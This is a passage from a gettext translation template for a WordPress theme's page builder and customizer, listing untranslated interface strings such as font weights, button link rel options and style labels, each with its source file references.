#: inc/builder/elements/pb_button_mobile/settings.php:145
#: inc/builder/elements/pb_button_mobile_2/settings.php:145
#: inc/builder/elements/pb_dropdown_menu/settings.php:44
#: inc/builder/elements/pb_login_register/settings.php:41
#: inc/builder/elements/pb_login_register_mobile/settings.php:41
#: inc/builder/elements/pb_logo/settings.php:174
#: inc/builder/elements/pb_logo_mobile/settings.php:177
#: inc/builder/elements/pb_logo_mobile/settings.php:254
#: inc/builder/elements/pb_logo_sidebar/settings.php:178
#: inc/builder/elements/pb_logo_sidebar/settings.php:254
#: inc/builder/elements/pb_logo_sticky/settings.php:154
#: inc/builder/elements/pb_main_menu/settings.php:70
#: inc/builder/elements/pb_second_menu/settings.php:71
#: inc/builder/elements/pb_third_menu/settings.php:74
#: inc/customizer/config/sections/penci_section_spage_header_section.php:168
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:22
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:54
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:181
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:85
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:60
msgid "Bolder"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:89
#: inc/builder/elements/pb_button/settings.php:143
#: inc/builder/elements/pb_button_2/settings.php:146
#: inc/builder/elements/pb_button_mobile/settings.php:146
#: inc/builder/elements/pb_button_mobile_2/settings.php:146
#: inc/builder/elements/pb_dropdown_menu/settings.php:45
#: inc/builder/elements/pb_login_register/settings.php:42
#: inc/builder/elements/pb_login_register_mobile/settings.php:42
#: inc/builder/elements/pb_logo/settings.php:175
#: inc/builder/elements/pb_logo_mobile/settings.php:178
#: inc/builder/elements/pb_logo_mobile/settings.php:255
#: inc/builder/elements/pb_logo_sidebar/settings.php:179
#: inc/builder/elements/pb_logo_sidebar/settings.php:255
#: inc/builder/elements/pb_logo_sticky/settings.php:155
#: inc/builder/elements/pb_main_menu/settings.php:71
#: inc/builder/elements/pb_second_menu/settings.php:72
#: inc/builder/elements/pb_third_menu/settings.php:75
#: inc/customizer/config/sections/penci_section_spage_header_section.php:169
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:23
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:55
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:182
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:86
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:61
msgid "Lighter"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:90
#: inc/builder/elements/pb_button/settings.php:144
#: inc/builder/elements/pb_button_2/settings.php:147
#: inc/builder/elements/pb_button_mobile/settings.php:147
#: inc/builder/elements/pb_button_mobile_2/settings.php:147
#: inc/builder/elements/pb_dropdown_menu/settings.php:46
#: inc/builder/elements/pb_login_register/settings.php:43
#: inc/builder/elements/pb_login_register_mobile/settings.php:43
#: inc/builder/elements/pb_logo/settings.php:176
#: inc/builder/elements/pb_logo_mobile/settings.php:179
#: inc/builder/elements/pb_logo_mobile/settings.php:256
#: inc/builder/elements/pb_logo_sidebar/settings.php:180
#: inc/builder/elements/pb_logo_sidebar/settings.php:256
#: inc/builder/elements/pb_logo_sticky/settings.php:156
#: inc/builder/elements/pb_main_menu/settings.php:72
#: inc/builder/elements/pb_second_menu/settings.php:73
#: inc/builder/elements/pb_third_menu/settings.php:76
#: inc/customizer/config/sections/penci_section_spage_header_section.php:170
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:24
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:56
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:183
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:87
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:62
msgid "100"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:91
#: inc/builder/elements/pb_button/settings.php:145
#: inc/builder/elements/pb_button_2/settings.php:148
#: inc/builder/elements/pb_button_mobile/settings.php:148
#: inc/builder/elements/pb_button_mobile_2/settings.php:148
#: inc/builder/elements/pb_dropdown_menu/settings.php:47
#: inc/builder/elements/pb_login_register/settings.php:44
#: inc/builder/elements/pb_login_register_mobile/settings.php:44
#: inc/builder/elements/pb_logo/settings.php:177
#: inc/builder/elements/pb_logo_mobile/settings.php:180
#: inc/builder/elements/pb_logo_mobile/settings.php:257
#: inc/builder/elements/pb_logo_sidebar/settings.php:181
#: inc/builder/elements/pb_logo_sidebar/settings.php:257
#: inc/builder/elements/pb_logo_sticky/settings.php:157
#: inc/builder/elements/pb_main_menu/settings.php:73
#: inc/builder/elements/pb_second_menu/settings.php:74
#: inc/builder/elements/pb_third_menu/settings.php:77
#: inc/customizer/config/sections/penci_section_spage_header_section.php:171
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:25
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:57
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:184
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:88
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:63
msgid "200"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:92
#: inc/builder/elements/pb_button/settings.php:146
#: inc/builder/elements/pb_button_2/settings.php:149
#: inc/builder/elements/pb_button_mobile/settings.php:149
#: inc/builder/elements/pb_button_mobile_2/settings.php:149
#: inc/builder/elements/pb_dropdown_menu/settings.php:48
#: inc/builder/elements/pb_login_register/settings.php:45
#: inc/builder/elements/pb_login_register_mobile/settings.php:45
#: inc/builder/elements/pb_logo/settings.php:178
#: inc/builder/elements/pb_logo_mobile/settings.php:181
#: inc/builder/elements/pb_logo_mobile/settings.php:258
#: inc/builder/elements/pb_logo_sidebar/settings.php:182
#: inc/builder/elements/pb_logo_sidebar/settings.php:258
#: inc/builder/elements/pb_logo_sticky/settings.php:158
#: inc/builder/elements/pb_main_menu/settings.php:74
#: inc/builder/elements/pb_second_menu/settings.php:75
#: inc/builder/elements/pb_third_menu/settings.php:78
#: inc/customizer/config/sections/penci_section_spage_header_section.php:172
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:26
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:58
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:185
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:89
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:64
msgid "300"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:93
#: inc/builder/elements/pb_button/settings.php:147
#: inc/builder/elements/pb_button_2/settings.php:150
#: inc/builder/elements/pb_button_mobile/settings.php:150
#: inc/builder/elements/pb_button_mobile_2/settings.php:150
#: inc/builder/elements/pb_dropdown_menu/settings.php:49
#: inc/builder/elements/pb_login_register/settings.php:46
#: inc/builder/elements/pb_login_register_mobile/settings.php:46
#: inc/builder/elements/pb_logo/settings.php:179
#: inc/builder/elements/pb_logo_mobile/settings.php:182
#: inc/builder/elements/pb_logo_mobile/settings.php:259
#: inc/builder/elements/pb_logo_sidebar/settings.php:183
#: inc/builder/elements/pb_logo_sidebar/settings.php:259
#: inc/builder/elements/pb_logo_sticky/settings.php:159
#: inc/builder/elements/pb_main_menu/settings.php:75
#: inc/builder/elements/pb_second_menu/settings.php:76
#: inc/builder/elements/pb_third_menu/settings.php:79
#: inc/customizer/config/sections/penci_section_spage_header_section.php:173
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:27
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:59
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:186
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:90
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:65
msgid "400"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:94
#: inc/builder/elements/pb_button/settings.php:148
#: inc/builder/elements/pb_button_2/settings.php:151
#: inc/builder/elements/pb_button_mobile/settings.php:151
#: inc/builder/elements/pb_button_mobile_2/settings.php:151
#: inc/builder/elements/pb_dropdown_menu/settings.php:50
#: inc/builder/elements/pb_login_register/settings.php:47
#: inc/builder/elements/pb_login_register_mobile/settings.php:47
#: inc/builder/elements/pb_logo/settings.php:180
#: inc/builder/elements/pb_logo_mobile/settings.php:183
#: inc/builder/elements/pb_logo_mobile/settings.php:260
#: inc/builder/elements/pb_logo_sidebar/settings.php:184
#: inc/builder/elements/pb_logo_sidebar/settings.php:260
#: inc/builder/elements/pb_logo_sticky/settings.php:160
#: inc/builder/elements/pb_main_menu/settings.php:76
#: inc/builder/elements/pb_second_menu/settings.php:77
#: inc/builder/elements/pb_third_menu/settings.php:80
#: inc/customizer/config/sections/penci_section_spage_header_section.php:174
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:28
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:60
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:187
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:91
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:66
msgid "500"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:95
#: inc/builder/elements/pb_button/settings.php:149
#: inc/builder/elements/pb_button_2/settings.php:152
#: inc/builder/elements/pb_button_mobile/settings.php:152
#: inc/builder/elements/pb_button_mobile_2/settings.php:152
#: inc/builder/elements/pb_dropdown_menu/settings.php:51
#: inc/builder/elements/pb_login_register/settings.php:48
#: inc/builder/elements/pb_login_register_mobile/settings.php:48
#: inc/builder/elements/pb_logo/settings.php:181
#: inc/builder/elements/pb_logo_mobile/settings.php:184
#: inc/builder/elements/pb_logo_mobile/settings.php:261
#: inc/builder/elements/pb_logo_sidebar/settings.php:185
#: inc/builder/elements/pb_logo_sidebar/settings.php:261
#: inc/builder/elements/pb_logo_sticky/settings.php:161
#: inc/builder/elements/pb_main_menu/settings.php:77
#: inc/builder/elements/pb_second_menu/settings.php:78
#: inc/builder/elements/pb_third_menu/settings.php:81
#: inc/customizer/config/sections/penci_section_spage_header_section.php:175
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:29
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:61
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:188
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:92
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:67
msgid "600"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:96
#: inc/builder/elements/pb_button/settings.php:150
#: inc/builder/elements/pb_button_2/settings.php:153
#: inc/builder/elements/pb_button_mobile/settings.php:153
#: inc/builder/elements/pb_button_mobile_2/settings.php:153
#: inc/builder/elements/pb_dropdown_menu/settings.php:52
#: inc/builder/elements/pb_login_register/settings.php:49
#: inc/builder/elements/pb_login_register_mobile/settings.php:49
#: inc/builder/elements/pb_logo/settings.php:182
#: inc/builder/elements/pb_logo_mobile/settings.php:185
#: inc/builder/elements/pb_logo_mobile/settings.php:262
#: inc/builder/elements/pb_logo_sidebar/settings.php:186
#: inc/builder/elements/pb_logo_sidebar/settings.php:262
#: inc/builder/elements/pb_logo_sticky/settings.php:162
#: inc/builder/elements/pb_main_menu/settings.php:78
#: inc/builder/elements/pb_second_menu/settings.php:79
#: inc/builder/elements/pb_third_menu/settings.php:82
#: inc/customizer/config/sections/penci_section_spage_header_section.php:176
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:30
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:62
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:189
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:93
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:68
msgid "700"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:97
#: inc/builder/elements/pb_button/settings.php:151
#: inc/builder/elements/pb_button_2/settings.php:154
#: inc/builder/elements/pb_button_mobile/settings.php:154
#: inc/builder/elements/pb_button_mobile_2/settings.php:154
#: inc/builder/elements/pb_dropdown_menu/settings.php:53
#: inc/builder/elements/pb_login_register/settings.php:50
#: inc/builder/elements/pb_login_register_mobile/settings.php:50
#: inc/builder/elements/pb_logo/settings.php:183
#: inc/builder/elements/pb_logo_mobile/settings.php:186
#: inc/builder/elements/pb_logo_mobile/settings.php:263
#: inc/builder/elements/pb_logo_sidebar/settings.php:187
#: inc/builder/elements/pb_logo_sidebar/settings.php:263
#: inc/builder/elements/pb_logo_sticky/settings.php:163
#: inc/builder/elements/pb_main_menu/settings.php:79
#: inc/builder/elements/pb_second_menu/settings.php:80
#: inc/builder/elements/pb_third_menu/settings.php:83
#: inc/customizer/config/sections/penci_section_spage_header_section.php:177
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:31
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:63
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:190
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:94
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:69
msgid "800"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:98
#: inc/builder/elements/pb_button/settings.php:152
#: inc/builder/elements/pb_button_2/settings.php:155
#: inc/builder/elements/pb_button_mobile/settings.php:155
#: inc/builder/elements/pb_button_mobile_2/settings.php:155
#: inc/builder/elements/pb_dropdown_menu/settings.php:54
#: inc/builder/elements/pb_login_register/settings.php:51
#: inc/builder/elements/pb_login_register_mobile/settings.php:51
#: inc/builder/elements/pb_logo/settings.php:184
#: inc/builder/elements/pb_logo_mobile/settings.php:187
#: inc/builder/elements/pb_logo_mobile/settings.php:264
#: inc/builder/elements/pb_logo_sidebar/settings.php:188
#: inc/builder/elements/pb_logo_sidebar/settings.php:264
#: inc/builder/elements/pb_logo_sticky/settings.php:164
#: inc/builder/elements/pb_main_menu/settings.php:80
#: inc/builder/elements/pb_second_menu/settings.php:81
#: inc/builder/elements/pb_third_menu/settings.php:84
#: inc/customizer/config/sections/penci_section_spage_header_section.php:178
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:32
#: inc/customizer/config/sections/pencidesign_general_typography_section.php:64
#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:191
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:95
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:70
msgid "900"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:107
#: inc/builder/elements/pb_button/settings.php:94
#: inc/builder/elements/pb_button_2/settings.php:95
#: inc/builder/elements/pb_button_3/settings.php:95
#: inc/builder/elements/pb_button_mobile/settings.php:95
#: inc/builder/elements/pb_button_mobile_2/settings.php:95
#: inc/builder/elements/pb_cart_icon/settings.php:103
#: inc/builder/elements/pb_compare_icon/settings.php:123
#: inc/builder/elements/pb_hamburger_menu/settings.php:113
#: inc/builder/elements/pb_search_icon/settings.php:256
#: inc/builder/elements/pb_wishlist_icon/settings.php:123
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:94
msgid "Button Spacing"
msgstr ""

#: inc/builder/elements/pb_bookmark/settings.php:140
#: inc/builder/elements/pb_button/settings.php:242
#: inc/builder/elements/pb_button_2/settings.php:249
#: inc/builder/elements/pb_button_3/settings.php:249
#: inc/builder/elements/pb_button_mobile/settings.php:249
#: inc/builder/elements/pb_button_mobile_2/settings.php:249
#: inc/builder/elements/pb_date_time/settings.php:78
#: inc/builder/elements/pb_dropdown_menu/settings.php:173
#: inc/builder/elements/pb_hamburger_menu/settings.php:169
#: inc/builder/elements/pb_html_ad/settings.php:82
#: inc/builder/elements/pb_html_ad_2/settings.php:82
#: inc/builder/elements/pb_html_ad_3/settings.php:82
#: inc/builder/elements/pb_html_ad_mobile/settings.php:82
#: inc/builder/elements/pb_html_ad_mobile_2/settings.php:82
#: inc/builder/elements/pb_login_register/settings.php:166
#: inc/builder/elements/pb_login_register_mobile/settings.php:166
#: inc/builder/elements/pb_logo/settings.php:303
#: inc/builder/elements/pb_logo_mobile/settings.php:308
#: inc/builder/elements/pb_logo_sidebar/settings.php:308
#: inc/builder/elements/pb_logo_sticky/settings.php:280
#: inc/builder/elements/pb_main_menu/settings.php:392
#: inc/builder/elements/pb_mobile_menu/settings.php:149
#: inc/builder/elements/pb_news_ticker/settings.php:367
#: inc/builder/elements/pb_search_form/settings.php:261
#: inc/builder/elements/pb_search_form_sidebar/settings.php:241
#: inc/builder/elements/pb_search_icon/settings.php:312
#: inc/builder/elements/pb_second_menu/settings.php:386
#: inc/builder/elements/pb_shortcode/settings.php:41
#: inc/builder/elements/pb_shortcode_2/settings.php:41
#: inc/builder/elements/pb_shortcode_3/settings.php:41
#: inc/builder/elements/pb_shortcode_mobile/settings.php:41
#: inc/builder/elements/pb_third_menu/settings.php:388
#: inc/builder/elements/pb_vertical_line_1/settings.php:51
#: inc/builder/elements/pb_vertical_line_2/settings.php:50
#: inc/builder/elements/pb_vertical_line_3/settings.php:50
#: inc/builder/elements/pb_vertical_line_4/settings.php:50
#: inc/builder/elements/pb_vertical_line_5/settings.php:50
#: inc/builder/elements/pb_vertical_line_mobile_1/settings.php:50
#: inc/builder/elements/pb_vertical_line_mobile_2/settings.php:50
msgid "Custom CSS Class"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:25
#: inc/builder/elements/pb_button_2/settings.php:25
#: inc/builder/elements/pb_button_3/settings.php:25
#: inc/builder/elements/pb_button_mobile/settings.php:25
#: inc/builder/elements/pb_button_mobile_2/settings.php:25
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:545
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:345
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:232
#: inc/js_composer/shortcodes/big_grid/settings.php:478
#: inc/js_composer/shortcodes/pricing_table/settings.php:116
msgid "Button Link"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:47
#: inc/builder/elements/pb_button_2/settings.php:47
#: inc/builder/elements/pb_button_3/settings.php:47
#: inc/builder/elements/pb_button_mobile/settings.php:47
#: inc/builder/elements/pb_button_mobile_2/settings.php:47
msgid "Select \"rel\" Attribute Type for Button Link"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:50
#: inc/builder/elements/pb_button_2/settings.php:50
#: inc/builder/elements/pb_button_3/settings.php:50
#: inc/builder/elements/pb_button_mobile/settings.php:50
#: inc/builder/elements/pb_button_mobile_2/settings.php:50
#: inc/builder/elements/pb_cart_icon/settings.php:42
#: inc/builder/elements/pb_compare_icon/settings.php:110
#: inc/builder/elements/pb_hamburger_menu/settings.php:68
#: inc/builder/elements/pb_mobile_menu/settings.php:48
#: inc/builder/elements/pb_search_icon/settings.php:54
#: inc/builder/elements/pb_social_icon/settings.php:130
#: inc/builder/elements/pb_social_icon_mobile/settings.php:130
#: inc/builder/elements/pb_wishlist_icon/settings.php:110
#: inc/customizer/config/sections/penci_section_spost_cptype_builder_section.php:7
#: inc/customizer/config/sections/penci_section_spost_general_section.php:23
#: inc/customizer/config/sections/penci_section_spost_general_section.php:772
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:18
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:84
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:103
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:187
#: inc/customizer/config/sections/penci_section_spost_pformats_builder_section.php:5
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:109
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:34
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:405
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:124
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:177
#: inc/dashboard/lib/meta-box/inc/fields/select.php:92
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:52
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:461
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1118
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1245
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1254
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:72
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:434
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:156
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:155
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:780
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:146
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:157
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:127
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:164
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:238
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:265
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:123
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:282
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:188
#: inc/gutenberg/block/blockquote/index.js:35 inc/instagram/widget.php:168
#: inc/js_composer/shortcodes/big_grid/settings.php:344
#: inc/js_composer/shortcodes/big_grid/settings.php:756
#: inc/js_composer/shortcodes/count_down/settings.php:106
#: inc/js_composer/shortcodes/counter_up/settings.php:94
#: inc/js_composer/shortcodes/custom_sliders/settings.php:319
#: inc/js_composer/shortcodes/image_gallery/settings.php:72
#: inc/js_composer/shortcodes/info_box/settings.php:176
#: inc/js_composer/shortcodes/instagram/settings.php:99
#: inc/js_composer/shortcodes/instagram/settings.php:117
#: inc/js_composer/shortcodes/small_list/settings.php:46
#: inc/js_composer/soledad_vc.php:1461 inc/meta-box/categories-meta-box.php:35
#: inc/meta-box/inc/fields.php:104 inc/modules/penci-menu-callback.php:53
#: inc/options/framework/fields/border/border.php:59
#: inc/options/framework/fields/typography/typography.php:199
#: inc/options/framework/fields/typography/typography.php:213
#: inc/template-builder/archive-elements/posts.php:226
msgid "None"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:51
#: inc/builder/elements/pb_button_2/settings.php:51
#: inc/builder/elements/pb_button_3/settings.php:51
#: inc/builder/elements/pb_button_mobile/settings.php:51
#: inc/builder/elements/pb_button_mobile_2/settings.php:51
#: inc/builder/elements/pb_social_icon/settings.php:131
#: inc/builder/elements/pb_social_icon_mobile/settings.php:131
#: inc/customizer/config/sections/penci_linkmanager_section.php:39
#: inc/customizer/config/sections/penci_linkmanager_section.php:91
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:35
msgid "nofollow"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:52
#: inc/builder/elements/pb_button_2/settings.php:52
#: inc/builder/elements/pb_button_3/settings.php:52
#: inc/builder/elements/pb_button_mobile/settings.php:52
#: inc/builder/elements/pb_button_mobile_2/settings.php:52
#: inc/builder/elements/pb_social_icon/settings.php:132
#: inc/builder/elements/pb_social_icon_mobile/settings.php:132
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:36
msgid "noreferrer"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:53
#: inc/builder/elements/pb_button_2/settings.php:53
#: inc/builder/elements/pb_button_3/settings.php:53
#: inc/builder/elements/pb_button_mobile/settings.php:53
#: inc/builder/elements/pb_button_mobile_2/settings.php:53
#: inc/builder/elements/pb_social_icon/settings.php:133
#: inc/builder/elements/pb_social_icon_mobile/settings.php:133
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:37
msgid "noopener"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:54
#: inc/builder/elements/pb_button_2/settings.php:54
#: inc/builder/elements/pb_button_3/settings.php:54
#: inc/builder/elements/pb_button_mobile/settings.php:54
#: inc/builder/elements/pb_button_mobile_2/settings.php:54
#: inc/builder/elements/pb_social_icon/settings.php:134
#: inc/builder/elements/pb_social_icon_mobile/settings.php:134
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:38
msgid "noreferrer noopener"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:55
#: inc/builder/elements/pb_button_2/settings.php:55
#: inc/builder/elements/pb_button_3/settings.php:55
#: inc/builder/elements/pb_button_mobile/settings.php:55
#: inc/builder/elements/pb_button_mobile_2/settings.php:55
#: inc/builder/elements/pb_social_icon/settings.php:135
#: inc/builder/elements/pb_social_icon_mobile/settings.php:135
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:39
msgid "nofollow noreferrer"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:56
#: inc/builder/elements/pb_button_2/settings.php:56
#: inc/builder/elements/pb_button_3/settings.php:56
#: inc/builder/elements/pb_button_mobile/settings.php:56
#: inc/builder/elements/pb_button_mobile_2/settings.php:56
#: inc/builder/elements/pb_social_icon/settings.php:136
#: inc/builder/elements/pb_social_icon_mobile/settings.php:136
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:40
msgid "nofollow noopener"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:57
#: inc/builder/elements/pb_button_2/settings.php:57
#: inc/builder/elements/pb_button_3/settings.php:57
#: inc/builder/elements/pb_button_mobile/settings.php:57
#: inc/builder/elements/pb_button_mobile_2/settings.php:57
#: inc/builder/elements/pb_social_icon/settings.php:137
#: inc/builder/elements/pb_social_icon_mobile/settings.php:137
#: inc/customizer/config/sections/pencidesign_general_extra_section.php:41
msgid "nofollow noreferrer noopener"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:66
#: inc/builder/elements/pb_button_2/settings.php:66
#: inc/builder/elements/pb_button_3/settings.php:66
#: inc/builder/elements/pb_button_mobile/settings.php:66
#: inc/builder/elements/pb_button_mobile_2/settings.php:66
msgid "Button Pre-define Style"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:69
#: inc/builder/elements/pb_button_2/settings.php:69
#: inc/builder/elements/pb_button_3/settings.php:69
#: inc/builder/elements/pb_button_mobile/settings.php:69
#: inc/builder/elements/pb_button_mobile_2/settings.php:69
#: inc/builder/elements/pb_cart_icon/settings.php:12
#: inc/builder/elements/pb_compare_icon/settings.php:12
#: inc/builder/elements/pb_hamburger_menu/settings.php:19
#: inc/builder/elements/pb_mobile_menu/settings.php:18
#: inc/builder/elements/pb_search_icon/settings.php:24
#: inc/builder/elements/pb_wishlist_icon/settings.php:12
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:591
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:94
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:260
#: inc/js_composer/shortcodes/social_counter/settings.php:194
#: inc/widgets/social_counter.php:350
msgid "Filled"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:70
#: inc/builder/elements/pb_button_2/settings.php:70
#: inc/builder/elements/pb_button_3/settings.php:70
#: inc/builder/elements/pb_button_mobile/settings.php:70
#: inc/builder/elements/pb_button_mobile_2/settings.php:70
#: inc/builder/elements/pb_cart_icon/settings.php:13
#: inc/builder/elements/pb_compare_icon/settings.php:13
#: inc/builder/elements/pb_hamburger_menu/settings.php:20
#: inc/builder/elements/pb_mobile_menu/settings.php:19
#: inc/builder/elements/pb_search_icon/settings.php:25
#: inc/builder/elements/pb_wishlist_icon/settings.php:13
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:592
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:95
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:177
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:261
#: inc/js_composer/shortcodes/product_brand/settings.php:81
#: inc/js_composer/shortcodes/social_counter/settings.php:195
#: inc/js_composer/shortcodes/team_member/settings.php:21
#: inc/widgets/social_counter.php:351
msgid "Bordered"
msgstr ""

#: inc/builder/elements/pb_button/settings.php:71
#: inc/builder/elements/pb_button_2/settings.php:71
#: inc/builder/elements/pb_button_3/settings.php:71
#: inc/builder/elements/pb_button_mobile/settings.php:71
#: inc/builder/elements/pb_button_mobile_2/settings.php:71
#: inc/builder/elements/pb_cart_icon/settings.php:14
#: inc/builder/elements/pb_compare_icon/settings.php:14
#: inc/builder/elements/pb_hamburger_menu/settings.php:21
#: inc/builder/elements/pb_mobile_menu/settings.php:20
#: inc/builder/elements/pb_search_icon/settings.php:26
#: inc/builder/elements/pb_wishlist_icon/settings.php:14
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:69
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:185
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:201
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:305
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:321
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:318
#: inc/elementor/modules/penci-button/widgets/penci-button.php:61
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:311
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:262
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:219
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:199
#: inc/js_composer/shortcodes/advanced_list/settings.php:17
#: inc/js_composer/shortcodes/advanced_list/settings.php:31
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:20
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:34
#: inc/js_composer/shortcodes/animated_headline/settings.php:114
#: inc/js_composer/shortcodes/simple_list/settings.php:98
#: inc/js_composer/shortcodes/testimonails/settings.php:297
